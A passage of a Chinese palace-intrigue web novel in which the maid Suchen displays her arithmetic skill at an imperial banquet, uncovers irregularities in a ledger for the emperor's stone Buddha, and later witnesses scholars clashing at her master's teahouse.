他摇晃着酒杯与他们碰杯,却只是放在嘴边轻轻抿了一口。
素尘故作未察觉的模样,只低着头盯着鞋边的绣花。
可不管她如何避,都逃不过有人要找她。
“崔卿,你身后那位便是这传闻里的女子?”高座上的皇帝扬声,“既然来了,何不展现一番?”
上座的男人除了一身黄袍,瞧着没有任何不同。
但他眼里的侵略性却和先前的贵女一般,只是不如她的坦然有礼。
不等素尘有何反应,崔明安先站起身来回复:“不过一介奴婢,没有陛下听说得如此夸张。”
“那崔卿是何意?”皇帝紧紧盯着被他遮住的女子,“朕还想看看这奇女子何样呢,万一还真能和她个官坐坐,那多有意思。”
“素尘倒也确实记性不错,算数也略同一二。”崔明安提出自己的建议,“不若让她算些数或背些古书便好。”
皇帝哼笑着让人拿算盘来。
崔府向来清高孤傲,从不参与党羽之争,如今更是连陛下也得让几分薄面。
崔家本要落败,却中途出了个崔明安,力挽狂澜把崔府救了回来。
让崔明安身边人表演,何尝不是公然的挑衅呢?
既崔府奴婢倒霉,那众官也乐得看热闹,只有那些和崔府素来交好的夫人面带担忧。
只见青衣女子跪于殿中,虽看不见触地的面容,但也可看出她不见慌乱的身形。
等她抬起头时,众人不免心里感慨:“好一个美人,可惜肤色略有些黑了。”
今年京中贵女尚白,所以她那带了些麦色的肤色实在不合时宜。
她端坐在那里,接过内侍送来的算盘。
皇帝闭着眼随意报了两个数字。
素尘手却未动:“四十七。”
皇帝问着户部尚书:“可对?”
得到点头的答案后,他饶有兴趣地连报了好些个数字,但素尘都马上心算出答案。
皇帝没打算追问,只觉得好玩。
他瞧着户部尚书,恶劣地笑了笑:“爱卿和她一同比一比呢?”
5. 第 5 章
皇帝的话一出,素尘终于意识到自己昨日在府中所担忧之事——陛下近年每道旨意几乎无一不是荒唐的。
竟让一位高官同她一起在殿中耍着些班门弄斧的小聪明。
话指户部尚书,席间看热闹的不在少数。
有胆子大些的贵妇人和武将们不嫌事大地争论起来。
娘子们用广袖轻掩朱唇:“素尘姑娘说不准还真输不了。”
另一边坐着的武将们大马金刀地坐在软垫上,将杯里的美酒尽送入口:“一个姑娘罢了,咱们赵大人可是正经明算科出来的学士。”
素尘还跪在地上,也不知席间那位赵大人究竟是何反应。
眼睛瞧不见情况,一直听着席间动静的双耳倒是几乎立了起来。
她耳朵动了动。
有一双锦鞋踏地的声音响起,轻轻地向她走来。
对方衣摆被手撩开,似乎也跪在地上行礼。
素尘心里不免感慨这皇宫果然是重礼,连这种年纪似乎挺大的老先生也要和她一样跪下。
但对方的声音从她身旁传来,温润清晰:“臣也觉得这挺有趣的,在各位同僚面前打算盘……哈哈哈哈,在下献丑了。”
他把控着分寸,把这件有些不妥的要求说得得体有意思。
“那地上这位奇女子怎还不抬头?”皇帝显然心情愉悦,今日的目的达到,近来有些不顺的心终于舒展开来。
素尘闻言,缓缓抬头。
她垂着眼避开与皇帝对视,将目光收在陛下的脚下。
但她明显听到皇帝带着失望的语气:“美人虽美,却少了几分白皙,聪颖有余,贵气不足。”
他这一句话仿佛将素尘的判词一般,将她便与贵女们不可能在一起谈论。
席间因着陛下的话都收敛着眼里的惊艳,只是那些和崔府女眷接触甚少的夫人和官臣们忍不住将目光停在她的身上。
落入素尘眼中,她只能挺直着背脊站在殿中央,不让他人看轻了她。
宫人们在殿中央摆上两架木桌,一并添上了白玉磨成的算盘。
两人准备坐下时,素尘耳边响起一声那位尚书大人的声音:“无论陛下如何评说,贵气更是与白皙与否无关。”
“多谢大人。”素尘不敢偏头看他,只跪坐于矮桌前,抬手拨打了一下那玉珠。
“宫里就连算珠都是用每年进贡的玉石所做。”
素尘暗叹。
皇帝拿着赵公公送来的算术古籍,兴致缺缺。
台下两人认真地等着皇帝开金口,随时准备拨珠算数。
但那金口迟迟未开,却等来一句:“你们互相出题比试吧。”
酒席上一阵沉默。
素尘内心慌乱也尽数消散,皇帝做的事也太无厘头和荒谬了。
那户部尚书也不像适才一般无所谓,虽瞧着还是那副不恼不气的模样,坐在他身旁的素尘分明看见他藏于桌下的手紧紧握成拳。
素尘将视线移开,将玉珠算盘移开,嘴角噙着笑:“陛下,素尘怎敢在尚书大人班门弄斧,若是让素尘出题,那说出的也不过是些贻笑大方的孩童术式罢了。”
皇帝看她本唯唯诺诺不甚有趣的模样忽然撕开一般,竟没再让那赵瑾出声便自己先出头了,这倒让他想起了其他有趣的事。
“那朕想到一问,你们试试?”他指着西边琉璃窗,满是欣赏意味地看着那里正好露出的石佛,“朕好佛法,自多年前便派人集天下异石于京,这石佛朕让城外集结的劳役修建已久,可如今朕刚好拿来一本去岁运来那块异石的账,户部统计好后就送来了。”
他将那本崭新的账本随手扔给旁边的赵公公,让他送去给底下两个人。
但素尘明显感觉到旁边这位尚书大人面色沉了些,迟迟不愿伸手接那本内容沉重的账。
“嗯?赵卿为何犹豫?”皇帝眯着眼睛看他,语气不乏挑衅。
这本账不能碰。
素尘看着两人之间的暗潮汹涌,心里明白这场局虽围绕着她,但却没有一处是冲着她来的。
赵大人接过那本被自己之前故作不知叫人把这本账算好便送去宫里的账本,紧皱着眉头。
但他也没想到陛下竟当众拿账本塞给他们户部,真是连脸面都不要了。
“……臣无事。”
他看向旁边和他一起接过账本不敢多言的素尘,温声说:“素尘姑娘,我们便再理一下数目,将总目说出来便行。”
素尘看了一眼自家公子的方向,见对方点了点头才壮着胆子说:“可这本账本算错了。”
“嗯?”不止是赵大人眉头一皱,殿内一片哗然。
“怎么回事?”有和此事相关的官员神色一惊。
素尘将账本指出一处,讲于赵明安听:“此处所记为西边所贡白玉石,但所计入的采买费用却比往年高至数倍。”
“奇石异宝,所得费用价格高昂应该实属正常吧?”有不懂此间弯弯绕绕的夫人小声和自己夫君说,但殿内只有素尘在说话,显得格外明显。
素尘笑着看了一眼这位夫人,伸手打了个和她处处得体的举止不符的响指:“王夫人所言极是。”
那位夫人惊讶地问:“她认得我是谁?”
但这边的素尘因赵大人认真询问的态度而放开胆子讲:“问题就在于这是凉州御贡奇石,是贡品,不是采买。”
她又想说些什么,但是赵大人忽然将账本抢过去,跪在地上愤然道:“望陛下明察,有人要陷我户部众人于不义之地啊。。”
素尘被想说的话被人说了,她恍然地看向公子,果然看见公子饮酒的手轻轻放置唇边。
她低头噤声。
后面这本账本引起的哗然被皇帝用一个户部侍郎失职的名头便结束了,不过一盏茶的工夫,方才的闹剧仿佛不存在一般,殿内继续载歌载舞。
一切的纸醉金迷都显得如此可不怖,素尘透过琉璃窗看着那尊石佛,感觉鼻尖浸满了鲜血的腥臭味。
望着那尊石佛的不止她,还有那位为了它耗费不知多少人力物力的国君陛下。
他身旁消失了一会的赵公公又回来了,身上虽换了身干净的袍子,但却隐隐带着着血腥味。
上面的陛下非但不皱眉,反而舒畅地痛饮一壶酒,将视线缓缓放到素尘身前的崔明安身上。
崔明安自适才将素尘送出来后便一直沉默着,只不断地用指尖再杯口轻转。
崔家公子字鹤珍,做了御史大夫,监察百官却又不受人嫉恨,为官这么些年,竟还是这样一副矜贵清高的模样。
皇帝视线从崔明安身上移开,看着并肩而立的两人。
他眼睛一转,忽地大笑起来:“有意思有意思!哈哈哈哈哈——朕倒是可惜你是个女子了,不然就让你顶上那户部侍郎的位子了。”
此话一出,崔明安仿佛忽然发觉适才发生的事一般,站起声推拒:“陛下盛赞,但素尘只是在府中管过些微末杂事罢了。”
他的声音不低,无需他多说,对这句话有意见的不在少数。
有文臣惊恐地起身,本因陛下作风
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荒唐无度而不愿在宴中多言,如今仿佛在上朝一般向前一站:“这素尘不过一介女流,无论在传闻里如何能干,怎能越过礼法入朝做官?”
陛下虽没有许下什么,但如今坐在席中的各位又有谁不知这位想来荒谬难猜。
但皇帝仿佛听到了什么激起兴致的话,眼睛一眯:“礼法?朕还未说什么,怎么众位爱卿这么着急将这顶帽子摁在朕的脑袋上?”
他偏头看着赵公公,问他却声音不小:“朕难道不懂礼法吗?”
赵公公躬身,语气恭敬:“陛下作为国君,自是最遵礼法,知法懂礼之君。”
文臣们仿佛是经历过无数遍这对主仆的这段对话,如今更是兴致高昂地想要继续劝谏。
话里的主角倒是站在殿中不知所措,不为别的,只是有些不明白这事怎就到这了。
她反应不过来,但看到有如她家中大爷一般大年纪的文官大人竟迫不及待地想往墙上撞试图证明文死谏的清名。
还好自家公子就坐在他身旁,眼疾手快地就拎住那位大人的后腰带,将他死死地托住。
“陛下!三思啊!”又有一位年纪更大的带着哭腔大喊,“您的身后名要让后人如何评价?”
场面一度混乱,但素尘却终于听明白了。
无非是这些大人们担心自己担下这劝谏不当的身后骂名,更是借着这个机会把平时积攒的怨气都撒出来。
分明只是陛下的一句玩笑,但他们竟为了这些莫名玩笑抓着陛下不放。
素尘觉得头疼,但也觉得好笑。
她虽陪着老夫人常常出入夫人间交际的场合里,但对着这些达官显贵们抱着些许敬仰和畏惧之情,如今看来也是自己的多想罢了。
不论场面如何混乱,一声清脆的玉碎声让殿里再次寂静。
他们只是看着激动,心里估计一个比一个清醒冷漠。
发出声音的是坐在皇帝手边唯一的女儿,也是皇后所生的嫡出公主。
她挑眉看着地上破碎的玉杯,语气惊讶:“抱歉抱歉,适才手滑了。”
但素尘看着几乎砸出的距离,暗自算着公主的力气得有多大才能在手滑之时摔到这么远的地方。
“满殿的地毯,难为殿下找到这一处未铺地毯的地方。”先前想撞壁的大人语气暗讽。
他看来对公主殿下积怨颇深,适才的激动一扫而空。
公主慵惰地伸出手扶着自己的头,头上金钗步摇叮当晃响,那如玉般白嫩的小臂从金绣广袖里若隐若现,面容昳丽,仿若神妃仙子般。
如花般娇贵的公主朱唇微启,吐出的却不是什么动听的话语:“满殿的金柱子,倒也难为黄大人找了根离崔公子最近的。”
她仿若想起什么,懊恼地说:“不对,应当是因为那根柱子上未镶珠玉,撞上去也不会膈着您作为文臣风骨的脑袋。”
那位黄大人气得捶胸口,倒是比先前哭喊的模样真心不少。
至少素尘看过去觉得他是真的胸口疼。
公主抬头,大手一挥,想站起身来,却又突然泄力继续坐着。
皇帝慢悠悠地开口:“不可无礼!”
公主举起手向他遥遥行礼:“华宁知错,望黄大人原谅本宫。”
她看向席间被晾在一旁的素尘,停顿片刻便勾唇一笑。
素尘忙收回视线,心中顿觉不妙。
果然她忽然含着讽刺意味问了句:“户部侍郎这位置,半个时辰过去了竟然还未有人顶上吗?”
“儿臣有一个合礼法的法子。”
6. 第 6 章
满殿又一次寂静。
剩下一句公主还未音落的:“儿臣有一个和礼法的法子,只是不知素尘姑娘一下如何。”
唯一不同的是那些先前带着看审视的大人们各自哭喊起来:“不合礼法!”
矛头忽然转回素尘身上。
目光又统一落在素尘身上
公主向她眨了眨眼,忽然绽开笑容:“众位大人莫急。”
“不过是出个主意罢了,若她真有如此才能,本宫也只是可惜罢了。”
“你说是吧?素尘姑娘?”公主看向一直沉默的女子,顺口问到。
“……”素尘看着崔明安,眼神带着小心翼翼的询问。
公主顿觉无趣。
“若是有可能,素尘自然希望为国效力。”素尘转身对着她,眼睛直勾勾地看着她。
和那双眸子对视,华宁轻笑一声。
“好啊,那本宫就给父皇出个主意,就看看你能不能当这个官了。"
“华宁,朕……”皇帝面色有些难看,他只不过想刺崔明安一句罢了,又不是真的想与文武百官为敌,
崔明安淡淡地看了皇帝一眼,叹了口气。
“怎么了?父皇?”华宁公主歪头看着皇帝,漂亮的眼睛眨啊眨,“难道是华宁又会错意了?”
她在说最后几个字时,脸上的笑容未减,只是咬字愈发用力。
她的声音不小,甚至大得离谱。
但席间的众位却无一人敢看向这对父女,除了那个完全不知情的奴婢——素尘。
她站在崔明安身后,一点未有这殿里其他人的圆滑。
这倒人如其名,还真的和山间白雪一样呢。
公主饶有兴趣地用余光看着她,今天这件事基本已经定了,也无需再去和自己这个父皇多说了。
果然,皇帝看着她故意示弱的眉眼和她话里藏着的暗讽忍不住就顺着她的话往下说:“行,朕便听听是什么法子,如此能人何故拘泥于女子之身。”
公主举杯向赵大人遥遥碰杯:“这就要问尚书大人当年是如何进户部的?”
赵大人听着她的话,含笑说:“自然是明算科考,臣……是当年的魁首。”
“那便户部出一份考题送去崔府吧。”公主仰头饮下那杯酒,含着醉意向素尘微笑,“素尘姑娘也试试。”
素尘犹豫着没有搭话,只看着前面的公子举起酒杯向她这里遥遥一碰,抬头饮了下去。
他听着高座上的皇室父女畅谈自己府里人的去留,神色却没有在意的模样,反而回头看着她时含着融雪的暖意。
和多年前雪山里向她伸出援手时一样,如神明一般。
他又一次站起身,挡在了她的前面:“素尘是在下府内的管事,如何能担此重任?今夜是宫宴,陛下先前不是说此宴不聊朝事吗?”
皇帝觉得顺耳,想顺势略开不谈,但华宁喝了酒后轻挠自己的脖子。
他不知想起什么,看着她有些不适却强撑的模样还是软了语气:“确实不该再聊,但户部确实应该如公主所说为这位……管事一个机会。”
话题在赵大人的应和下便揭了过去,公主和他们一同举杯。
她叫人给素尘也倒了一杯酒,虽今天不可能完全拉她入局,但也好歹互相认识了。
素尘谢过公主的酒,也低头抬袖轻轻饮尽。
两位将在不久后把已经成为一滩死水的大明朝彻底搅浑的女子默默在人群鼎沸时一同饮酒。
殿内的歌舞升平,胡姬旋舞。
贵人们之间觥筹交错,推杯换盏。欢笑间无人再去在意那个适才还处在风波之中的素尘。
她站在暗处,看着殿内的一切。
每一个人脸上都挂着笑容,但夫人们贴在脸上的宝石和大人们在转身时一闪而过的淡漠都落入她的眼里。
素尘没有多言,只一个一个对上自己记忆中的名字。
坐在尚书夫人身边的那个长着胡子的中年男人是礼部尚书,那个夫人身边的是……
一个个名字和脸对应上粗略地进了她的脑海。
崔明安请辞先行离宴,后面的素尘迫不及待地跟在后面。
一开殿门,她就大口大口地呼吸着含着冷意的空气。
崔明安深深地看了她一眼,语气含着关切:“没事吧?”
“无妨……”素尘扯出笑容,摇头。
崔明安伸手揉了揉额角,抬步往前走:“殿里又是燃炭又是熏香,确实憋闷。你来一次便足够了,今日这些玩笑不用放于心上。”
他没有回头看她。
素尘闭上眼睛,等自己眼里干涩的疼痛感减弱才睁开眼跟上去。
她想问他,今日这个账本是什么情况。
犹记几个时辰前,崔明安在下马车前给她扶稳发间的玉簪,声音低沉:“今日若陛下给你账本,你翻开前十也可,那里面留给你的东西足够应付今夜了。”
后面的东西她就没敢翻了,但那账本……分明不是一本完成的账本。
太简略了。
外行人看个热闹罢了,那赵大人也缄口不言。
分明只是寻她做个由头,陛下、公主、公子、赵大人还有殿内的所有大官和夫人们无一不是戏中人。
戏里主角虽是她,但也不是她。
素尘跟在崔明安身后,扶着栏杆,看向殿外。
才惊觉这金玉搭建的宫殿竟修得如此高,一眼便望见了宫墙外的石佛。
虽不信佛,但今天她好像听到了神佛的低吟。
崔明安察觉到了她的异样,回头看她:“怎么了?”
“没什么,就是有些冷了。”
她回过神,哆嗦着耸肩,好像真的被冷到了。
呼吸出的雾气模糊了视线,她莞尔一笑:“原来外面这般冷,这些天躲在屋内还真的未发觉呢。”
主仆俩默契地没有再谈刚刚殿内的事,一直沉默着到了府里。
老夫人身边的芳嬷嬷在府门迎他们下车,面上热络却不问这次把素尘召进宫里发生了什么。
素尘随公子回了院里,看着满院的烛火的光亮了。
她安心地向细心布置的文竹笑了笑,难为他特意提前回来把烛火点亮,省去她等会陪着公子回房了。
崔明安停下脚步和她说:“今日辛苦了,你先歇息吧。”
素尘疲累地点了点头。
崔明安还想说些什么,但是看着她精神不振的模样还是收回了话。
素尘弯膝向他行了一礼,便转身向侧屋走去。
崔明安站在原处,一直看着她进了屋。
文竹小声询问:“公子?”
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崔明安没有回答,只是看着烛火熄灭的侧屋叹了口气。
“你说我今夜是不是不该把她扯进来?”
但还不等文竹回答,他就已经自己摇了摇头,向书房走去。
“你也去歇息吧,我去书房看看。”
文竹看着崔明安离去的背影,抿了抿嘴,最后想说的话化成一个叹息。
他走到素尘的门口抬手轻轻敲了三下门:“素尘姑娘,小厨房的锅里公子让人给温了牛乳,起夜的时候便去取来暖暖胃吧。”
里面的女子轻轻应了下声,他也就往书房那边走去。
院里的积雪终于慢慢消融,反让这夜里更加冷了。
文竹缩缩脖子,抬头看了眼终于从云缝里挤出头来的月亮,他低声自言自语:“今日可以少点些烛火的。”
月亮照着他脚下的路,在他推门进屋后又适时藏了起来,地上融雪泛着的水光也随之消失。
无人发现在寅时平旦之际,崔府深处的这座院子侧屋慢慢开了扇窗,女子看着外面,等待着晨曦的到来。
崔府的下人们开始穿梭在各个院子,婢女们踩在雪上的脚步很轻,却还是被房内的素尘听到。
“素尘姑娘?”厨房里送牛乳过来的嘉娘子看着自己还没敲门就已经打开门的素尘:“呦,昨夜是姑娘守夜?”
开门的女子虽带着笑容不见疲态,但那双俊眼秀目下乌黑一片,倒看着让人心疼。
嘉娘子悄悄从口袋里拿出一颗鸡子:“姑娘拿这个敷敷眼下,嘉娘现在给公子把牛乳送过去。”
素尘接过那颗热乎乎的鸡子,转身给她让路。
书房开门的却不是守夜的文竹,那道灼热的目光越过嘉娘子直直看着素尘。
嘉娘子不知道他们之间的弯弯绕绕,只低头向他行礼。
“给我就行。”崔明安端起那温热的牛乳,温声让她先离开。
嘉娘子从院子里退去后,崔明安才开口:“进来吧。”
他往里面走,留了门给素尘进来。
素尘整理了下自己的衣裙,在门口抖了抖鞋才迈步进屋。
“公子……”看着明显一夜未睡的崔明安,素尘的声音不自觉地小了些。
桌上摆满了纸墨,上面写满了小字。
“今日你去茶楼查账时,把这几封书信带上。”崔明安声音低哑,他抬手将那些已经晾干墨迹的信纸封了起来。
素尘接过,但信封上却空白一片。
“带给何人?”素尘不解。
“你过去便知,店里管事会来要的。”崔明安说完,不知为何突然解释,“今日文竹要离京一趟,其余人我不放心。”
素尘低头答是。
她转身出屋取漱盂、巾帕来服侍。
主仆二人各自沉默,手上的动作却依旧麻利干练。
素尘看着外面天色已经完全亮了,收拾好手上拧干的巾帕:“那素尘便带人出府了。”
“路上小心些。”
崔明安忽然在门快关上时留下这样一句话。
等素尘把府内事宜处理好,到门口马夫那里时忽的转身和过来准备出门的文竹说:“外面危险,难得出远门,还是给我腾几个懂些手脚功夫的人吧。”
拉着自己马真的准备出远门的文竹听到这句话:“……?”
7. 第 7 章
一路颠簸,素尘疲累地靠在软垫上,听着外面一路的叫卖声。
路上的嘈杂声渐减,素尘扶着车壁,温声询问:“可是快到了?”
车夫将车停稳,含着几声迟疑的声音传了进来:“是到铺子了……”
“怎么了?”素尘打起精神来掀开锦帘。
不用车夫多说,她就看到茶铺里挤满了争吵的书生们。
素尘尽量不动声色地从他们中间穿过。
看着得了消息后熟练地在这一片混乱里过来迎她的掌柜,他胖乎乎的脸用尽力气向她挤出笑容,试图将这茶铺的一切显得如同平常一样。
但是素尘在他挤过来的时候嘴唇一抿,低头向他行了个礼。
掌柜连忙避开,圆滑地弯腰向她说:“哎呦,素尘姑娘这是作甚?应该是在下给您行个礼,账目全都整好了,就等您来了。”
他点头哈腰地为她引路,圆润的身体站在她前面,避开了那些争论得面红耳赤的书生们的关注。
素尘在京城不算低调,昨日进宫一趟,那些一直盯着贵人和陛下动向的书生们对她的意见褒贬不一,如今不要声张最妥当。
瞧着这些书生,素尘小声问:“这是……?”
掌柜将收好的账本从木柜匣子里拿了出来,抬头看了一眼最为混乱的大堂,叹气:“不知哪家公子雅士包了场,布置了这次的清谈会。”
素尘挑眉,看着账本上计入的入账:“倒是出手阔绰,就是最近这清谈会倒是和之前风格大不相同啊。”
书生雅士间的清谈会,在素尘的印象里几乎都是饮茶作诗。近几年席间更是风流不羁,为了迎合他们的雅趣,茶楼里更是在中央修了个满是红鱼水花的池子。
但今日这场面着实说不上什么雅趣。
掌柜苦笑:“姑娘在府内有所不知,近来京里对那石佛意见有些……”
他使了个眼色,不再多说。
素尘了然,接了楼里小厮送来的茶,仔细看着那匣子里的账目。
这间茶楼是崔明安的私产,位置有些特殊,落在那近年势头正盛的醉仙楼对面,楼里接待书生贵客,门外还摆了摊位给路过的散客吃茶。
既是饮茶品茗,清谈会着实不少。
只是去岁年末……
“掌柜,去岁后面这几场怎都没记下是何人办的会?”素尘皱眉,指着那些空白处。
掌柜急着解释:“今日和这几场的客人是同一个公子来办的,这位客人不愿说自己是哪个府里的,就留下一个‘玉郎’的称呼就走了。”
素尘指尖在桌上敲了敲,神色平静:“之前不是有规定?不知此人来路,若是这清谈会有人激动说了些不该说的,你有几条命进去那衙门里?”
掌柜并未见惊慌,反而压低了声音:“我又如何不知,只是姑娘你看。”
他拿了一块金子出来,指着上面的官印:“小人找人查过了,这客人给的金子可是宫里那几位皇子手里的。”
他神秘地用手比了个二,便掩饰般地挠了挠鼻子。
既是二皇子,那素尘也不便多说。
自家公子书房里还放着二皇子写的信,如今这事,更不是她能置喙的。
尽快处理完这边的事便离开吧,她不安地看了眼已经算不得冷静的那群人,能不听到他们的话是最好。
门口守着的侍卫时刻注意这那边的人,对面的醉香楼但是和平时一般热闹非凡。
但是不遂她愿,那边书生的话已经传了过来。
“陛下建这石佛,劳民伤财,城内外那里不是一片哀嚎?”穿着略显简朴的男子泪洒当场,嘶声力竭地怒斥着。
他坐在池边饮茶,看着池中放着的太湖异石,悲从中来。
附和他的不在少数,其中更是有名声显赫的范阳卢氏出身的卢进麟拍着他的背,小声地安慰他。
那人素尘曾远远在卢氏席间见过,确实是个端方雅正的公子。
他劝慰着那个书生,也让在场的各位冷静一些。
“科考在即,各位若能进那殿堂面圣,劝诫陛下的职责就更在你我身上。”他温柔地看着那些面带哀怨的书生们。
但也有其他穿着富贵的学子嗤笑着说:“陛下礼佛,带着为我大明朝祈福的诚心修这石佛怎被你们这些穷酸乡人说成昏庸无道了?”
“就是就是,说是陛下劳役众民,我家可是越过越好了。”一瞧便是富商子弟的人同样带着恶意攻击了回去,“这卢公子将来定是要位列百官之中,怎何这群破落户待在一块?”
但卢公子却没有急着反驳他们,只是从袖间抽出一锦帕,将其给那流泪的书生。
他不出声,却有其他人面带怒意地攻击回去。
不知为何,这段颇有深意的对话就变成了各位文人用尽自己毕生所学相互咒骂。
有人引经据典,有人言语直白,更是有人用最近发生的事作为论点进行反驳。
素尘反复听到昨日之事被他们提起,大部分不是什么好话,到也竟有人直接拍案喊道:“若那崔府奴婢有本事,为何不可与你们这群凭着家世为非作歹的纨绔子?”
“不拘一格降人才!”
好一句掷地有声的话,只不过很可惜,马上就被咒骂声掩盖。
素尘听着各地书生展现自己家乡特色的争吵。
有位显然是乡间出身的书生用词之粗俗让满座震撼,而那出入烟花柳地的纨绔用词之肤浅也让人觉得作呕。
至于那出身高贵的卢公子却默默退后,和一个不甚显眼的公子耳语。
那人看着出身不显,但卢进麟瞧着却是面带恭敬的那位。
卢公子听着他的话,目光在几个一直沉默不语的人身上停留片刻。
一直坐在远处看着他们的素尘也顺着他的目光看过去,喝茶的动作一顿。
都是瞧着熟悉的面孔呢。
她又看了眼争执的书生们,除了和卢公子一样出身名门的,几乎都是近来进京赶考的新面孔,更是和朝中贵人交涉甚浅。
这群人过来参加这些学子的清谈会?
她忽然觉得此地更是不便久留。
但他们显然不只是过来喝喝这楼里手艺的,有人安耐不住将话说了出来:“卢公子作为范阳卢氏的公子,又受丞相大人的教导,怕是三品玉带早就从进您府里了吧?”
这话说得诛心,会试在即,如今哪个书生不是奔着中榜来的?
此话一出,怕是卢进鳞交好的那些个不问开路的书生心里要难受一阵了。
卢进鳞反应快,神色平静地向说话那人拱手行礼:“在下进京科考,所言所作自是与卢氏无关。”
卢家夫人虽带人进京布置京中的府邸,但这卢公子确实是与众位贫苦书生共住城郊客栈。
那些人没有被那些挑拨离间的话离心,但还是好奇地问卢进鳞:“今岁会试主考官可是丞相大人?”
又有人反驳:“依在下所见,今岁会试怕是崔鹤珍公子主考,希望可借着机会见见鹤珍公子的凤姿。”<
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先前推崇丞相的男子面带鄙薄地看着他,话带尖酸意味:“噗嗤,崔明安作为崔家家主,身处御史台御史大夫之位,手下党羽为官不仁者何其多?”
他话直指崔府,又面露讨好之意看向卢进鳞:“丞相大人才是我等寒门子弟可以依附之人。”
两人针锋相对,那些一心想入朝为官,效忠陛下之人也见不得这些党羽之争,被那些别有用心之人一挑唆,自是加入这场书生之间的纷争。
卢进鳞身旁的那位公子低着头想离去,却被先前那些带头煽动之人团团围住。
“这位公子为何不发一言,还是……别有意图?”脸上长着麻子的男子语气挑衅,手藏在身后。
那位公子见势不对,将头上帷帽上的纱幔放下遮住自己的面貌。
那些人见他如此,更是来劲。
有几人安耐不住挥手想将那层纱扯下,那手还未碰到就已经被那位公子灵巧地避开。
几次伸手都未得手,竟有个蠢货终于把自己口袋里藏着的小刀向他刺去。
那刀刃刚露出一角,反射的冷光就被素尘看见,
崔府的侍卫在素尘的授意下,第一时间提着剑鞘把那人拿刀的手打下。
“何人持刀闹事?”掌柜板着脸出声,看着差点酿成大祸的蠢货。
竟在他的店里耍这种心眼,若真的出事了,别说衙门查案了,这楼里的生意估计就连公子这关都过不去。
想着自家嗷嗷待哺的老小,生气地让人报官。
素尘看着尚且懂分寸的掌柜,便也没出头。
顺手把自己头上的纱幔放下,慢慢离开这是非之地。
但还没等她在门口看到自家等候的车夫,就听到身后有人叫住她:“多谢姑娘相救。”
那人虽看不清面貌,但姿态方正潇洒,给她行了个官礼。
素尘不动声色地退了一步,将两人距离拉开。
“不过是举手之劳,更何况那人确实是在店里闹事,公子不必介怀。”
她话说得温柔得体,只是她默默地拉开距离的模样着实有趣。
那人露出的唇角微勾,也不再打扰。
“那在下便告辞了,今日这出手相救之恩,某改日再报。”
他一起一式潇洒肆意,和她见过行这礼的公子们不太一样,但也毫不失礼。
素尘等到车夫将马车牵了过来,回头看了眼那位公子离开的方向,摇摇头:“下次可别又被堵了。”
她将锦帘放下,更是不觉对面酒楼上停留在自己身上的目光。
“是她出手相救?”饮酒的人把玩着手里从二皇子府里流出的金元宝,看着消失在人群里的马车,意味不明的笑了笑,“崔明安手里的人倒是有一个不同他一条心的啊。”
那位脱身的公子将帷帽摘下,将手里趁乱偷来的腰牌拿了出来。
“那麻子脸身上带着的。”她将上面的图案显露出来。
“嘁,除了每天跑宫墙上看那劳什子石佛,手倒是一如既往地长,”那人将手里的金子扔给进门的卢进鳞,“多谢卢公子相助。”
卢进鳞向这位大人行了礼,出声问:“适才出手相救的是崔府人吧?”
虽那些人未穿府服,到那手里的剑式着实训练有素。
“是啊。”
“那位便是传闻里的素尘姑娘?”他饶有兴趣地微笑,“殿下可是对她也感兴趣?”
“谁知道呢?”坐于上座的人勾唇笑着,随意地看了眼楼下的茶楼。
8. 第 8 章
无论外面如何议论,崔府里的一切都和平时一样井然有序。
素尘从马车上下来,将手里从城南陈记买来的枣泥酥递给门口等候的门房。
“将这个送去二小姐院里。”她面带微笑,这是今日出门时小姐院里的悦姑娘专门过来拜托她带回来。
崔府大房这一辈只剩下这对兄妹,尚且年幼的二小姐崔明锦更是明媚可爱,受尽老夫人的宠爱。
素尘一路穿过各个宅院,看到那空白牌匾,便抬手扶着铜环敲响房门。
那木门慢慢地被人从里边拉开,崔明安身边的云竹刚回府,正好过来开门给她引路。
“公子等姑娘好一会了,侍卫带了消息说茶楼出了冲突。”他上下打量了素尘,面带担忧。
素尘从身后侍女手里拿起那本茶楼抄录好的账本,抬步进了院。
“无事,我今日带的人多,”她摇头,向他扬起一抹笑,“在江南可遇到什么有意思的事?”
向来严肃的云竹带上一抹苦笑,他叹气:“着实无甚好事发生。”
鲜少叹气的木头人竟也露出这么有趣的一幕,素尘看着他,今日一直沉着的心得了一丝轻松。
噗嗤一声笑了出来:“那拜托你先帮我把这账本带进书房,我刚从外边回来,就先去净个手换件衣裙。”
“嗯。”云竹目送她回了房,常年持剑的手慢慢地摩挲了账目的书脊。
素尘回了房,将帷帽和披风取了下来,看着被轻纱勾乱的发丝,只好先坐下拿起木梳为自己梳妆了一下。
为了不让书房里的崔明安久等,素尘来不及换一身衣裙就只得出门了。
书房里的熏香悠悠穿过木门传进门外的素尘鼻里,她清了清嗓子:“公子……”
还不等她说完,里面的人就回了话:“进来。”
轻轻推开门,里面的碳火伴着熏香烘着素尘身上带着的寒气。
素尘带着笑穿过房里的屏风玉瓶,缓缓踏着地上毛毯进了书房里间。
里面坐着的贵公子没有看云竹拿进来的账本,只随意拿着一卷竹简翻阅着。
她站在紫檀桌案前,稳稳行了一礼。
崔明安才放下手里的竹简,上下打量了她一番:“今日茶楼的事可有伤到你?”
“素尘无事。”
素尘走到旁边站着的云竹身旁,拿过他一直持着的账本:“这是今日从茶楼拿来的账。”
她双手奉给崔明安,等着他问话。
其实今日公子特意坐于书房等她回来这事让她心里还起了几分怪异,自她前些年从公子这里得权管事后,公子除大事外极少多问。
如今看这仗势也实在不像对此事有何在意,但又实在想不通为何特意让云竹引她过来。
素尘压下心里的疑惑,面上恭敬不已:“近日会试在即,各地学子入京备考,清谈会更是不断,茶楼内生意愈发兴隆。”
她停顿了一会,见崔明安翻看着账本没甚反应,便继续交代:“只是为了茶楼里伙计方便理事,这楼外散茶摊位就先停了。”
崔明安随意看了一会,便放下了。
他抬手倒了杯茶水,推向素尘这侧:“辛苦了,先喝口茶吧。”
虽然在茶楼听那些书生说话时喝饱了肚子,但她还是含着笑接过了茶水:“多谢公子。”
崔明安用手撑着自己的脑袋,被锦带轻轻绑起的发丝垂于他的脸侧,就这样静静地看着她。
被这目光注视着,素尘觉得自己饮下的这口茶水有些烫口。
“若这茶水这般难以入口,你可以不喝。”
崔明安的话悠悠传来,他面带戏谑。
云竹默不作声地记下今日所泡的茶,下次他泡时可不能再放这茶了。
素尘感受到旁边云竹听到这话的不自然,马上明白今日这茶是云竹泡的。
“只是奴婢鲜少喝这般好的茶……”她一口饮尽,呛得她脸颊涨红,眼尾也带上几分水光。
崔明安眼里闪过计谋得逞的笑意,但很快就消失了。
他等素尘平静下来,才开口询问茶楼的事。
